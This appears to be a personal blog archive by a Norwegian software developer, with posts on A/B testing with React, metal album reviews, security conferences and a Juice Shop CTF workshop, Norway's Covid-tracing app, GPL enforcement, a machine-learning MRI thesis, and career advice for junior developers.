One way of comparing alternate solutions is through A/B-testing. One should preferrably also compare these new post-change states with the original variety of the product, so that one does not have to think about seasonal variations, and so on.

It is also important to avoid noise. Too many changes at once will possibly pollute the statistics within a variation, as there might not be enough dimensions in the data to reflect the amount of changes. If one does not test the product before and after change is implemented, one is potentially missing something that can be learned as a consequence of not having enough data.

There is also the possibility of supplementing your interpretations of the quantitative data with qualitative research – for instance via limited user tests and semistructured interviews.

If one is available, you should also make use of a professional analyst to make sense of the data – for the human mind is inclined towards logical fallacies, cognitive biases and apophenia.

Since "specificity is the soul of narrative", as my favourite podcaster John Hodgman says, I'd like to illustrate the main points using a concrete example...

Case

Ideas

From a user test, we discovered that there was little navigation between content; If users did not find what they were looking for, they returned to where they came from.

Build, Product

We therfore laid a plan:

Action: Move related recipes upward, over comments.
Hypothesis: By displaying related recipes eariler on the page, we believe that users will be more likely to click elsewhere in the solution, rather than going back to Google
Measure: More clicks on related recipes
Current numbers: Between 5000 and 7000 clicks per week
Estimated effect: 180% increase, about 8000 more clicks
Timeframe: Check status 1 week after launch

Measure, Data

Tactical goal: Increased engagement Make visitors stay on the site, and not return to Google
- More page views per visit
- Increased time spent on page per visit

From our data, we can see the following:

	Avg. time spent per visit (HH:MM:SS)	Avg. pages seen per visit
Change	+ 00:00:02	- 0,02

Learn

By moving content up, we down-prioritize other content, e.g. comments
The amount of users that see the comments has gone from 19,8% to 9.01%
There were fewer comments added this Semptember than the year before

Ideas

Action: Make a shorcut to the comments available from the main content of the recipe.
Hypothesis: The users can not easily know that there are comments on the recipe. It appears that the page is over when one reaches the related content.
Measure: Counteract negative effect from changed position on the page
Current numbers: From 280 to 145 new comments

In summary

Measurements and a focus on goals lets us verify that changes are for the better – to check whether we reach our goals; The Lean-startup methodology sums this process up as "build-measure-learn". What we really care about are the results.

For this to work well, we need a tight dialogue between developer and analyst, as well as good communication between the development team and the product owner. It is extremely important that both the customer and the entire team is down with this way of working and understands the strategy.

It is very helpful to document everything related to testing and to keep the information structured.

This way of working, in our experience, speeds up the development cycle, and the fact that we have data about changes makes things very exciting – we can measure the way our changes impact the users. It's motivating to see the progress we make, to see that we achieve our goals. It's also exciting to see how our actions affect the total solution. It makes it easier to feel ownership of the changes; there's less codemonkeying and more power of definition for developers.

The example case above is more or less a translation of some of the slides from a presentation held at an internal event at Bouvet by our project leader, Jasmine "The Lean Machine" Garry.

A/B Testing with React

On the 14th of December last year, Bouvet hosted a ReactJS Oslo Meetup, where Lars and I held a presentation about A/B Testing with React based on our experience with this from our work on a solution for one of our big customers.

The presentation covered some of the same content as our presentation about Hypothesis- and Goal-Driven Development - providing a context for our application of variation testing - but it mainly covered with the specifics of dealing with A/B testing in the code base of our React application, as opposed to doing it in the server entrypoint on the Google Cloud Platform or somesuch.

You can find our presentation slides here (PDF, English), and a very simple demo app here.

Edit: _ A video of the presentation has since been uploaded. _

Pacific Myth

After 2013's crowdfunded Volition, the prog-canucks of Protest the Hero once again went with an alternative release method.

Originally released song-by-song on a monthly basis between October 2015 and March 2016, the Pacific Myth EP has been available to those of us that bought into the subscription model for about a year. Now it has finally been made available for everyone else - remixed and remastered.

Whereas their debut and sophomore releases - Kezia (2005) and Fortress (2008) - were concept albums that dealt with the execution of a young woman told from different perspectives, and goddess worship, respectively, the following albums saw a change in lyrical style. Their third record, Scurrilous (2011), saw singer Rody Walker taking over lyrical duties from then bass player Arif Mirabdolbaghi - writing more direct, personal lyrics. Volition continued this trend, featuring more social commentary and examinations of universal subjects - in addition to a song about why Star Trek is better than Star Wars.

The lyrics on Pacific Myth lean more towards the style on their earlier work than their two previous records. With each passing song, the lyrics seem to build up a mythical concept like on Kezia and Fortress, albeit a very different one. Though the lyrics tell a story, its meaning is very vague - at times almost too ambiguous.

In my opinion, the myth is an existentialist story; sort of a compressed version of the hero's journey - unless I'm just experiencing the Baader-Meinhof phenomenon. There might be a strange loop (Gödel, Escher, Bach) going on as well, as the metanarrative seems to weave into the original yearning for something more conveyed in the album opener.

Tidal kickstarts the record. Full of energic ennui, it laments the dull, gray, ordinary world, and yearns for meaning - "something more than getting by". But then everything changes - something happens which cannot be undone. It describes a kind of emotionally existential imperative; A call to action.

Ragged tooth describes the going against the grain - the stale and old must give way for the new to grow; incurring judgement for upsetting the status quo. Not fearing those that doubt - being justified. Being successful in going beyond where anyone else have.

Cold water is about perilous conflict; failure after all. Regrets about a life wasted.

Cataract signals decisive action - not giving up - leading to victory at last. Defining for oneself, in order to live a life of purpose.

Harbinger details the complete conquering of the threat and return to the journey's outset. The threat is gone, and all is well. It's over. But there is always a possibility of danger - and there are bad omens.

Caravan starts with the same symbolism as earlier songs, but describing failure, and a reemerged threat - but as the metaphors morph, the obscure myth gives way to a metanarrative that comments on all the previous lyrics and concept-building on the record. This closing song is the big reveal.

The song criticizes tired metaphors, entertainment that doesn't offer intellectual gain, and meaning that "is open to interpretation" - the singer even criticizes himself for saying something to that effect in the past. He's tired of it. At the same time, he can't control other people and their wants - but he can try to do something constructive about it. He describes it all as "a catchy way of saying nothing", and the narrative as just being words punched in a template. He's tired of unoriginal concepts; if every story is the same, then it doesn't interest him at all. He wants stories with meaning. Something better than this.

My problem’s the consistency with every concept made

Don’t just tell me a story

What does it convey?

Much has been said about the reveal in Caravan. There was a discussion on the band's subreddit after all the songs were originally released, which had some interesting analysis.

Experiencing the EP during its original subscription release was a pretty interesting experience, as it gave me a chance to really take in one song at a time, and an opportunity to wonder where it would go next. While intepreting the lyrics was an entertaining exercise, listening to the fourth-wall-breaking conclusion for the first time was definitively worth ruining the last few months' worth of build up.

Singer Rody Walker offered an explanation as as a comment on another post in the subreddit, stating that

"My issue is with meaningless lyrics that are intentionally vague to dupe the listener into believing there is something more... When there is not. [...] I'm not saying don't leave things up to interpretation. I'm asking for stories with morals."

He also mentions Carl Jung and Joseph Campbell in the same post, saying that according to their theories, concept records would need theses to not all be the same.

In the end, Pacific Myth just tells a story using "words pushed in a template", conveying nothing - except in its conclusion, which escheresquely leads to the original level in the lyrical content's hierarchy, as I see it: Framing the myth-part of the lyrics as an allegory for the record itself and its moral, and thus keeping the endless loop going.

Meta-metal, anyone?

If you'd like to know more about Protest the Hero, you can find an interesting interview with Rody Walker on the podcast Lead Singer Syndrome below.

Pacificy Myth is available on Spotify.

You can buy the EP on Bandcamp.

Hacker Summer Camp 2019

… So I've finally recovered from Hacker Summer Camp and the resulting Con Flu.

I've long been interested in what happens at Black Hat and DEF CON, watching every video from the conventions that I could find over the years. And this year I was lucky enough to go to both (on the company dime), as a consequence of being head of the security competency group at Bouvet East.

It was such a great experience; From talking to a CTO of a Cambridge hardware security company in our upgraded seats across the Atlantic ocean, to experiencing the madness that is the Las Vegas strip on the weekend!

Some of my personal highlights of Black Hat include Ian Coldwater and Duffie Cooley's talk about abusing Kubernetes defaults, the one about Pre-auth RCEs on SSL VPNs, Apple's expanding their bug bounty program, and learning about Microsoft messing up their jwt authentication, allowing anyone access to everybody else's inboxes on "new UI" Outlook. The NOC report was pretty funny too.

… oh, and the Time AI stuff!

I mean:

"Using the infinite variations within music composed real-time by artificial intelligence, TIME AI generates encryption keys as unique as your own iris"

Talk about crypto snake oil!

DEF CON was also great; The badge, the first ever AppSec village, Patrick Wardle's presentation about Mac malware, Bruce Schneier's "Information Security in the Public Interest"-talk, Hacker Jeopardy, Whose Slide Is It Anyway – and of course "Adventures In Smart Buttplug Penetration (testing)"!

I just wish I hadn't missed Azuki's (Yan Zhu) DJ set.

Sure hope I'm able to go back next year!

Edit: Since returning from Vegas, I've written about both Black Hat (original Norwegian, English Google Translation) and DEF CON (original Norwegian, English Google Translation) for the Norwegian site Kode24.

Such a SAP

Today, I held a presentation at SAP Brukerforening Norge (SBN) / SAP User Group Norway's event InnoTeam: Project Leadership.

Originally, my old team leader Jasmine was going to hold a presentation, but as she was very ill I got a phone call two hours before the alotted time asking me to fill in.

Luckily, I've spoken about this several times before, so it went pretty well.

The organizers have already uploaded a video of the presentation (slides and sound only; Norwegian):

Additionally, PDFs of my slides are available here.

Teaching a React/Redux-workshop

This fall I had the pleasure of running a React/Redux-workshop three times internally at Bouvet, along with my colleague, Lars Dølvik.

It was immensely popular – in fact, I was told that all twenty spots for the first workshop were gone before the event description was filled out!

A few things we hadn't really prepared for specifically, but figured out along the way was:

Some low volume, chill music makes for a more comfortable atmosphere than silence
Keep presentations informative, but concise – people learn more by doing than by listening
If the workshop is partitioned into sections (and/or there's multiple presentations), you should probably poll the participants somehow, to see how the average progress is going
Walk around the room to make sure nobody gets stuck (this also ties into the previous point)
Engage with and talk to participants, both on- and off-topic; Instructors should come across as light-hearted and easily approachable, and build an engaging and inclusive setting, so that nobody is afraid of asking for help (from anybody)

Our materials are available on GitHub, and our slides are available here.

The course material was largely based on work originally done by Bergen Nerdschool.

A final post about Smittestopp

It's been a long time since my last post.

Lots have happened since then, but I thought I'd summarize what looks to be the end of the saga of Smittestopp, the Norwegian Covid-app.

For more info, I recommend reading this and this post from the Peace Research Institute Oslo about Smittestopp.

In short:

Norway finally has it's very own defensible Covid-app (with a responsible privacy impact), based on Google and Apple's ExposureNotification framework.
- There was only one repsonse to the Request For Proposal, none of which were from any of the many vocal critics of the first app, nor any other Norwegian companies (most, when asked, stated risk of reputation and too little time to make the right people available).
- The Danish consultancy Netcompany (who made the Danish national covid-app) was chosen – which seems like a good idea given the the probability of code reusability. This project has been the total opposite of the last, with source code publicly available on GitHub and a public Slack for discussions and contributions.
- The Norwegian implementation relating to authentication post-diagnosis/pre-upload included making an indentifying login to a public service...
  - This would make it possible for the authorities to connect the user identity with the uploaded data, and potentially make social graphs of identified users and so on (at least in theory) – which made me argue that the suggested token system could trace users on the Slack for people who signed the independent appeal regarding the first app (which I had no issues signing, as its suggestions were uncontroversial, based on industry best practices, and more or less in line with what our expert group had recommended to the government).
  - After verifying this, Tjerand Silde and Martin Strand wrote a suggestion for an alternative, private token system. The Norwegian Consultancy Bekk has a whole blogpost about this.
The Norwegian Institute of Public Health (FHI) and the Minister of Health has consistently made remarks that makes me think they know very little about privacy, and still hasn't understood what all the fuzz was about, feel they have done no wrong and that they think we should have kept at it with version one – even going so far as stating they disagree with our Data Protection Authority's decision to shut it down, claiming it would be immensely valuable, that privacy was well taken care of, etc.
Simula is still peddling their nonsense at any opportunity they get, including at self-hosted seminars, in the media and at conferences:
- They keep claiming they wanted to help when asked, even though it is known that "It was Simula who contacted FHI to offer help"
- They keep claiming this was "groundbreaking work", even though neither the technologies nor the privacy issues were new in themselves (both exposure notification as well as privacy preserving techniques were not new in March) – which strengthens my suspicion that there was no privacy competency (or in some cases even knowledge) on neither customer nor supplier-side.

Though one might see this continued insistence on pushing their own narrative as an attempt of saving face, I fear Simula has such a poor understanding of privacy (and privacy engineering) that they genuinely believe that minimum effort, basic auth-measures from the security-field equals privacy.

* Insert rant about data protection != data privacy here *

Especially when looking at Olav Lysne's (Director of Simula, leader of the Lysne-comittees that proposed what amounts to metadata bulk collection / mass surveillance in Norway – which is a post for another day...) or other Simula-exec's statements from earlier last year. At the same time, some of their communications have been marked by rewriting history – which is sad, because who (that has no deep knowledge of any of the relevant subjects themselves) will be able to tell what really happened and how many things went wrong a few years from now, if Simula has gained a majority coverage in reputable media for their alternative narrative?

And that would be a big problem. Our goal must be to not get into this situation again, and to reach that goal it is important that the public debate reflects the realities of the subject. The problem of giving every side a "fair coverage" in this debate (as with e.g. climate change) is that we're left with a sort of false balance – which could be interpreted as there being two equal sides of this story...

Here's hoping this is the final time I have to hear about the embarassing initial handling of digital contact tracing in Norway.

Hosting a CTF

Back in August, all of Bouvet went on our annual "independence trip" (in celebration of our company being independent, and partially owned by its employees). Here we attended various social activities, as well as presentations and workshops.

In connection with this, I organized a workshop centered on Web Security, along with Knut Gaute Vardenær and Arne Fostvedt. Fist, I held a short presentation that mainly dealt with the motivation for having a focus on security, as well as the OWASP Top 10 list. After this we held a mini-CTF (Capture The Flag) competition, using OWASP Juice Shop – "an intentionally insecure webapp for security trainings".

We basically bootstrapped our infrastructure setup using a script I wrote that creates a few free Heroku-apps and pings every instance at a certain interval to keep the serverside state alive (free instances spin down after a certain amount of time of inactivity). The Juice-Shop instances are then available at URLs like https://PREFIX-ctf-INSTANCE.herokuapp.com, which can be assigned to corresponding teams. The only thing left is to spin up a CTFd-instance and configure your key.

We also made some hints (courtesy of Josh C. Grossman) available on a shared CTF-Homepage. Here players would also find a few basic rules and some suggested low-hanging fruits from the tasks.

All in all the experience was a positive one, and the contestants all seemed to have a good time. The winners were rewarded with YubiKeys for 2FA.

Wargames

Last month, at our semi-annual internal conference "Bouvet One", I held a presentation with Stian Westvig and Lars Dølvik about how Stian and ex-Bouvet'er Adam Haeger onboarded us in a pretty complicated web application hosted in Kubernetes, built using a bunch of modern technologies and architectured across multiple microservices.

In short, they basically constructed realistic crises in the form of application failure scenarios in a test-environment, that we then had to sort out. This was, of course, after a month or two as contributors on the team.

All in all, I'd say it was very interesting and educational!

Slides are available here.

Troy @ Bouvet

Two weeks ago, Troy Hunt paid us a visit and held his workshop "Hack yourself first" at Bouvet's Oslo HQ at Majorstuen.

Troy, for those of you that don't know is one of the world's most widely known web security experts. He famously created Have I Been Pwned?, a site where you can check whether your personal information has been compromised in data breaches.

How did this happen?

In a happy coincidence, I saw him tweet he had some time available for private workshops in Oslo around NDC.

I thought "what the heck", and posted it to our company's security-channel on Slack.

I also forwarded it to my closest managers, but didn't think any more of it.

Then it came up again; People were interested to know if any contact had been established.

Andreas (one of my closest managers) said that they were in communication.

Next thing I know, there's an announcement and a thank-you.

Troy would be paying us a visit, holding a two day internal workshop. And that's basically how it went down.

During the workshop, we used offensive techniques to illustrate damage potential (attacking a purpously insecure web application, etc.) and learned how to make our solutions are secure and protected.

You can read more about the workshop on Troy's site, and in his blogpost if you're interested.

I had the privilege of being Troy's chaperone, which basically meant I walked him to his city bike and made sure he got lunch.

All in all, it was a fun, educational experience!

GPL ruled enforcable in the U.S.

A couple of weeks ago, a U.S. federal court ruled that the GNU General Public License (GPL) is an enforcable license. As this is a potentially important legal event - at least in the U.S. - it's been discussed both on Hacker News and on Reddit's programming subreddit.

The case in question concerns a South Korean software company called Hancom, which integrated the PDF toolkit Ghostscript developed by California-based Artifex into its office suite without adhering to the conditions of the license it was made available under.

Originally written by Richard Stallman and the Free Software Foundation, the GPL gives users what the organization regards as the prerequisites for being called "free software" - "the four essential freedoms":

The freedom to run the program as you wish, for any purpose (freedom 0).
The freedom to study how the program works, and change it so it does your computing as you wish (freedom 1). Access to the source code is a precondition for this.
The freedom to redistribute copies so you can help your neighbor (freedom 2).
The freedom to distribute copies of your modified versions to others (freedom 3). By doing this you can give the whole community a chance to benefit from your changes. Access to the source code is a precondition for this.

Note that, despite what some might believe, the GPL does not require the software in question to be gratis (or "free as in beer") - only libre (or "free as in speech").

In what is known as a reciprocity requirement, the conditions of the GPL also stipulate that any derivative work based upon GPL-licensed original work must also be licensed under the GPL.

In the case of Hancom vs. Artifex, Ghostscript was in fact dual-licensed - alternatively made available under a commercial license (i.e. for a fee), for those that for some reason or another do not wish to adhere to the GPL.

As Hancom did not make any changes freely available (as per the GPL), they were effectively "going down the closed-source commercial license lane but without paying a dime" and infringing copyright. This prompted creators Artifex to unsuccessfully demand backdated license fees, before suing Hancom in a California district court.

The gist of the matter is that Judge Corley denied Hancom's motion to dismiss the case on the grounds that the company didn't sign anything - thus the license wasn't a "real contract". In doing so she set the precedent that software licenses can be treated like legal contracts - even though the FSF has historically not necessarily agreed.

The official court records are available here.

Automatic Classification of Alzheimer's Disease from Structural MRI

For my Master's thesis (finished in 2015), I decided to investigate whether or not machine learning techniques could be used to automate classification of Alzheimer's disease in Magnetic Resonance Images (MRIs).

For my dataset, I used data from the Alzheimer's Disease Neuroimaging Initiative (ADNI), specifically the complete 3 year 1.5 tesla dataset from the ADNI1 study - all which was available when I started the project.

The complete dataset contained 2182 three-dimensional T1-weighted MRIs of patients from the following three groups:

200 Alzheimer’s Disease (mild)
400 Mild Cognitive Impairment
200 Normal (healthy controls)

As structural irregularities of the brain is a sensitive feature of the disease (which is observable on MR images), I speculated that machine learning models (and maybe "deep" models in particular) might be able to learn features from high-dimensional data like structural MRI.

The main machine learning methods used were decision trees, implemented using C5.0; and neural networks, implemented using the now unmaintained Pylearn2 library (built on top of Theano).

I also used several methods of dimensional reduction (histograms, Principal Component Analysis and downscaling of the images) and variations in the formulation of the learning task via different schemes of merging diagnostic groups.

In the end, decision trees trained on a dataset that had been dimensionally reduced via Principal Component Analysis, with learning posed as a binary classification problem between Alzheimer’s disease and all other diagnostic groups yielded the best results — 85.8% correct classification, which was comparable to related work.

Sadly, I did not have time to experiment more with regard to complex architectures, costs and specialized activation functions – deep convolutional nets, for instance, would likely be suitable for this sort of problem.

Luckily, this work gave me an opportunity to make a small contribution to Pylearn2.

All the code I produced during my work is available on GitHub.

Since then, I've come across someone citing my thesis, who claim to have achieved 98.84% accuracy on MRI classifaction.

Given what has changed since I originally worked on the project - like progress in machine learning research, the increased power of consumer grade GPUs which can be used to accelerate the learning process, and the availability of libraries like Keras - it would certainly be interesting to give the problem another crack.

The full thesis can be found on Brage (or right here).

A VR Desktop

I just released a prototype VR desktop app I created this summer. The application runs a local server on your computer, which you connect to on a smartphone; the phone will display your desktop projected in VR space, and you can then put the phone in an HMD mount.

Just below the virtual screen, you can also see a live feed from your phone's rear-facing camera, allowing you to see what you type.

You can find it here.

A few tips for junior developers

The following are a few thoughts, mostly non-technical career-advice – things I learned in my previous roles as software developer, tech lead and architect.

Might be useful for some. Some might have heard/read/thought similar opinions before.

Learn basic principles

Don't learn abstractions or implementation-specifics – learn basics, principles and foundations! Don't learn Azure, or "the cloud" – learn systems, networks, ops and admin.

Similarly: don't learn to "program Java" – learn C-style syntax. And just like with human languages: the more languages you learn, the easier the next one will be. Not to mention how useful the exposure to different approaches (via differences in syntax and implementation) is for your comprehension.

Be curious

Try to become aware of what you don't know – be it fields you aren't an expert in, technologies you have no experience with and opinions you don't understand. Don't hide the fact that you don't know, but appreciate this fact to build intellectual humility; Educate yourself by communicating with those that know or learning by yourself. Strive to actively seek new impulses, other perspectives, etc. – as in life in general: The more new ideas you can expose yourself to, the better.

Collaborate

Seek opportunities to work with other people, preferrably people that know something you don't on some level (be it specialization or profession).

For example, pair-programming lets you reason about problem solving while simultaneously having a different perspective available to you – a different mind thinking different thoughts will make different considerations than you, and potentially catch different problems.

Code-review ensures quality by way of getting another pair of eyes to look at your code, questioning your assumpitions – and it might even give you actionable feedback that not only makes the problem du jour solvable, but also lets you grow as a developer.

##Consider Non-Functional Requirements

Functional requirements (requirements describing what the system should be able to do) is one thing, but in developing as a developer (...) you should start considering non-functional requirements as well.

Non-functional requirements (or NFRs) – also known as quality requirements – "specifies criteria that can be used to judge the operation of a system, rather than specific behaviors". Examples include accessibility, interoperability, security, privacy, stability, scalability, efficiency, and usability. These properties of the system as a whole can be just as important as functional requirements; The way in which a system does what it does will in many cases be just as (if not more) important as what functionality it implements for users.

NFRs are thus (arguably) more a consern in architecture than in pure systems design.

Just do it!

Though it can seem overwhelming: Dig deep and try stuff! Read specs, experiment with stuff that's out of your comfort zone and learn something new!

Maybe you want to Build Your Own LISP, practice deep learning, do some wargaming – or just solve a problem you have by programming a solution.

Google-Fu

Learn to find the information you need. Get familiar with reading manuals (RTFM!) using man <whatever command>, googling, and so on. Maybe look into Google Dorking – familiarize yourself with the Google Search operators.

Get comfortable with standard tools

Teach yourself *nix basics, and get comfortable in your shell of choice (typically bash, zsh or fish these days). You'd be amazed how many daily problems you can solve using only standard Unix command-line interface (CLI) progams in your terminal.

Take care of you body

Remember to take care of your body! Exercise every now and then, vary your sitting position, and take breaks for your eyes (look at something 20m away for 20 seconds every 20 minutes), back (stand up, don't hunch, engage your core) and mind (talk to someone about non-work, think about something else, do something meaningful and/or stimulating).

Learn about project structure

Take a look at popular open source software projects on GitHub, make a note of how they are organized – you'll learn a ton of best practices (documentation, README contents and structure, the importance of reproducibility in a development setup, testing-strategy, how to handle issues, and perform pull-requests and code-reviews)

Side-projects

Having your own side projects and contributing to open source can teach you a lot. It could be a good idea to doodle on software you find interesting (for whatever reason) every now and then – especially if it's something you're not particularly familiar with, or something that's different from what you usually work on.

On the other hand, it should not be expected that everyone spends their free time programming – people have different hobbies, after all... and it's not like we expect teachers to teach during their spare time, plumbers to plumb during their spare time, and so on.

Onboarding

Getting thrown onto an existing project's codebase can be challenging.

If it exists: seek out system design documents, diagrams of dataflows, and scripts that automate dev-setup. If these don't exist, take the opportunity to create them as you gain the knowledge yourself – you'll have to learn these things anyways, because you have to get up and running somehow. The other project participants will thank you, and the results will be invaluable the next time someone is to be onboarded (or when trying to reason about the system, if it is particularly complex).

Software design and architecture

Read up on software design and architecture, which can be reduced to the plans and fundamental structural choices for your system, based on identified requirements.

Remember:

Simple code > clever code
Maintainability, stability, and reproducibility are key

Re: Other people

I've noticed a certain type of people (spoiler alert: they're usually arrogant white guys), that will confidently start to blabber shallowly about how they can solve the problem at hand every time there's an issue, mostly using buzz-words, trends or dogma. When probed, it quickly becomes evident that they have definitely not understood the problem, the proposed solution, or generally though critically about the issue at all.

You've probably heard of the Dunning Kuger Effect – a cognitive bias that, at least in the west, is typically recognized by the inability of relatively incompetent people to recognize their own incompetence. They thus overestimate their own skill.

These people are said to be on "Mount Stupid", after the shape of the graph where the vertical axis represents confidence, and the horizontal axis represents Experience or Knowledge.

I'm not saying all low-skilled people over-estimate their abilities or vice versa, but there is a certain overlap, in my experience.

Many arrogant people will, generally speaking, have no idea what they're talking about.

"It's just a ride"

Technology's just a means to an end, a computer is just a tool.

Don't be dumb and make important technological decisions based on what's trendy, new or you'd like to work with. The goal of systems design and architecture is not to fluff your CV or to make sure you're having a great time – but to solve (business) problems using technology. That's it.

And definitely don't make an identity out of what tools you use at work.

Preferences

Similarly, don't try to make your personal preferences mandatory for others.

Though every member of a team wants the shared code base to be "good", they have different opinions of what that entails. The importance of standardizing isn't necessarily in what standard you land on – indeed, the most important part is that there is a standard. Just compromise on a set of rules (linting and formatting included) that everyone can live with, and revise when needed.

Dogma, trends and hero-worship are, unfortunately, factors that affect technological choices more than they should.

So-crates

Learn to reason; Realize what you don't know. Be intellectually humble. That doesn't mean you should entertain obviously bad ideas or not make suggestions, but realize that most alternatives have trade-offs and that it's unlikely that anyone knows everything (especially beforehand).

Bonus tip: When optimizing or comparing, you should measure (though identifying good metrics is an art unto itself).

Limit WIP

Try to limit multitasking, as humans are usually very bad at this; Work on as few things as possible at any one time.

Get feedback

Seek to shorten feedback loops (time between planning and evaluating the same task); work in small increments, and verify & evaluate work as often as possible.

People, not processes

Finding a working process that works for you is more important than dogmatic adherence to rules.

This means no meetings for the sake of having meetings (or because "the rules" say so) – they should be needed, and help you achieve your goals. Supportive functions are not goals in and of themselves, after all.

That's it.

Kind of a low-effort brain-dump – but hopefully useful for someone.

Getting the path to a Bash script

If you ever need to perform operations relative to the path of a shell script, the following snippet should be useful:

DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"

This will give you the absolute path to the script in most cases (see this stack overflow answer for detailed information) - basically in all cases except when the last component (folder) of the path is a symlink.

The code works by getting the path the current script is invoked from - which may be relative in some cases, e.g. if the script is sourced from elsewhere - from an environment variable, and getting its parent directory by feeding it to dirname in a subshell; We then cd into the value returned from this in another subshell and print the working directory.

Paranoia 2018

Yesterday and today, I was at the Paranoia 2018 conference, one of the Nordic regions largest Info Sec conferences.

I got free tickets as a consequence of qualifying to the finals of the Paranoia Challenge, a kind of AI-powered gamified red team/blue team training environment.

As I just got home, I have yet to do a writeup of the experience of the challenge myself, but Bouvet (my employer) published a blog post (Norwegian) about it yesterday.

Here are my favourite talks of the conference:

Agile Security and Orchestrated Response

Bruce Schneier - Security Guru

Security guru Bruce Schneier talked about the state of the world, touching upon (mass) surveillance, the internet of things, the increased attack surface of an increasingly connected world and what constitutes appropriate responses when faced with security issues.

Bruce held a similar talk at SecTor 2017:

I also got a signed copy of his book Data and Goliath!

Ethical hacking

FC aka. Freaky Clown - Redacted Firm

This talk was mostly about Freaky Clown's dayjob, which entails breaching his clients (banks, multinational companies, etc.) - both in cyberspace and in meatspace. FC also touched upon what constitutes a good company culture with regards to security.

FC gets into some of the same stuff in this Devoxx 2017 talk:

Hacker Privilege: Securing Corporations one Dirty Look at a Time

Pete Herzog

A talk about how complicated the field of security and the threats within are. No real answer to the problems he identified was given – but hey, that's just how the world is sometimes; You've got to identify the problem before you can find a solution!

Presentation, presentation, presentation

Last week, Bouvet held its biannual internal conference-night called "Bouvet One". Here, we listened to each other speak about things ranging from concrete experiences during projects to cultural issues like how to increase diversity within our field.

I was bitten by the bug when I presented at our previous event half a year ago, after which the ball really got rolling for me with respect to presentations; and so I pitched three alternatives to our committee a couple of weeks ago - _ all of which _ were accepted.

Though it was an excellent situation to learn some new things, I had my work cut out for me - I had just under two weeks to do my research and finish the three presentations, which would have to be up to 20 minutes each. Luckily, I've talked quite a few times about our team's development methodology before, so I had much of what I needed in this case. I've also thought extensively about the various aspects of using webtech to make "native" applications before, and even submitted proposals for talks about this to several web- and JS-related conferences. Deepfakes, however, I didn't know much about; regrettably, I haven't found much time for Machine Learning projects since last Bouvet One, where I held a presentation about transfer learning - demoing a Star Trek Humanoid classifier I trained for a couple of minutes on my laptop's CPU, achieving an accuracy between about 79 and 95 percentage.

** Since I'm posting a lot of slides these days, I've decided to add an IRL page I'll update with scheduled talks and appearances, slides and videos, press, etc. **

The presentations

All content was presented in Norwegian.

Go f**k yourself: How deepfakes ruined everything

Slides, Video

A humourous, alarmist look at our changing relationship with the medium of video and with the truth, post deepfakes.

LEAN-machine: Goal-based development

Slides

Explanation of our development methodology - which consists of pieces from Scrum, KanBan, LEAN startup and DevOps - and how it lets us verify that are changes are for the good of the product.

Electron is bad and you should feel bad

Slides

A semi-humorous argument/rant about the downsides of using Electron and related technologies, including the technical and social implications of the resulting pseudo-native applications.

At year's end

Looking back, this year has been a pretty eventful one for me.

I've met many interesting new people, learned a bunch of new stuff and pushed myself both personally and professionally.

A recent tweet from Adam J. Kurtz made me take a quick inventory:

1. Wrote a critique of a new surveillance bill, and got a reply from the Norwegian Defense Minister.
2. Got third place in @TheParanoiaConf Cyber Security Challenge.
3. Held a bunch of public talks, including on the Oslo @hacktoberfest that I hosted. https://t.co/V8BlKCvgkq
— Eivind Arvesen (@EivindArvesen) December 26, 2018

A lot has happened – both personally and professionally – and I'll just write a few words to sum some of it up here.

1. Wrote a critique of a new surveillance bill
and got a reply from the Norwegian Defense Minister

I wrote a piece (original Norwegian, English Google Translation) critiquing a new mass surveillance bill, and the fact that there's no political debate surrounding it.

I got a response (original Norwegian, English Google Translation) from Grunde Almeland (of the Liberal Party), as well as a response (original Norwegian, English Google Translation) the Norwegian Defense Minister Frank Bakke-Jensen.

I then posted a critique (original Norwegian, English Google Translation) of the government handling of the issue, and the Defense Minister's lack of arguments.

2. Got third place in the Paranoia Cyber Security Challenge

I've blogged about this earlier, but I basically surprised myself in getting third place in a pretty realistic cyber security challenge affiliated with one of the Nordic regions largest and most exciting Info Sec Conferences.

3. Held a bunch of public talks,
including at the Oslo Hacktoberfest that I hosted

There are too many talks to detail, but basically: holding a talk at an internal conference evening at Bouvet inspired me to push myself to get better at and do more public speaking – and to use this as an excuse to understand something better or to learn something new entirely.

It's been a great and exciting year.

Here's to the next one!

Company Blog

In preparation for the presentation I'll be holding at Bouvet's public breakfast-meeting about DevOps this Friday, I've published a post at our company blog (Norwegian) about our team's Hypothesis- and Goal-Driven Development.

The guestlist for the event is currently full, but you can sign up for the waiting list here. The talks during the event will be held in Norwegian.

Dissociation

All good things must come to an end. When The Dillinger Escape Plan announced that their upcoming album would be their last - as they felt they had reached their artistic peak - I was pretty disappointed. But damn, what a swansong it is; I've been listening to the record more or less non-stop since it dropped about two weeks ago.

From the release of album opener "Limerent Death", it was clear that the publicized betterment of the band members' relationships with one another had in no way compromised their musical approach.

On "Dissociation", The Dillinger Escape Plan have allowed themselves to indulge a bit in their experimentation, but there is really nothing too extravagant. The tritone chords, minor second intervals, chromatic runs, and constantly changing time signatures are all there - and the electronic and atmospheric elements, as well as the unexpected turns in genre are back.

This record is certainly one of the band's creative high points - a true mathcore tour de force.

The first track immediately kicks off with a powerful groove accented by jabbed, stabbing dissonant chords (one of Dillinger's calling cards), before launching into breakneck speed. The vocals in particular are drenched in punk influence, and

"I gave you everything you wanted, you were everything to me"

repeated twelve times with increasing intensity over an accelerando might be my new favourite section by the band.

"Symptom of Terminal Illness", the second track, goes somewhere else entirely. According to singer Greg Puciatio in a TeamRock track-by-track guide, the lyrics reference "panic attacks and panic disorder", which certainly fits the mood of the music. The song is melodic, downbeat, and moody, and though it is more straightforward than the previous track, choruses are beautifully spiced up by drummer Billy Rymer's odd accents.

After a weird opening, the next track head straight back into crazy-territory, but somehow ends up in a pumping punk kind of build up, which in turn leads to alternating spoken words over semi-clean arpeggios, and emotive vocal melodies over dirty strumming. "Wanting Not So Much To As To" is a great song.

"Fugue" is an experimental instrumental that starts off with electronic beats, and then goes into a sad and eerie guitar outro. The band's IDM influence is pretty obvious on this song.

Then comes "Low Feels Blvd", a piece that goes from screaming over complex rhythms to an odd, improvised guitar solo over a more traditional sounding jazz-section, which culminates in a return to the chaotic outset.

"Surrogate" is extreme mathcore, and sounds kind of like a repeating progression through genres, before transitioning to a kind of salsa beat that leads to the outro.

